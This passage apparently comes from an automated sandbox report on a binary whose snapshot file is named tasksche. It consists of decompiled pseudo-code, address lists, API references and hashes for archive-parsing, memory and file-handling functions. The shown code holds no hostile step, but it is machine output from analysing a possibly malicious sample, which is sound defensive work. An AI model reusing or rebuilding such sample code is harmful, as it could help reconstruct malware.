					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, "CMT");
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_push( *((intOrPtr*)(_t58 + 8)));
							_t31 = E004012EA(_t56, _t54); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Strings

CMT, xrefs: 004017D6

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, L"Maximum allowed array size (%u) is exceeded", _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(E004294F4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				short _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) = CreateFileW( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408777), ref: 004089DA

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(E004294DA, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
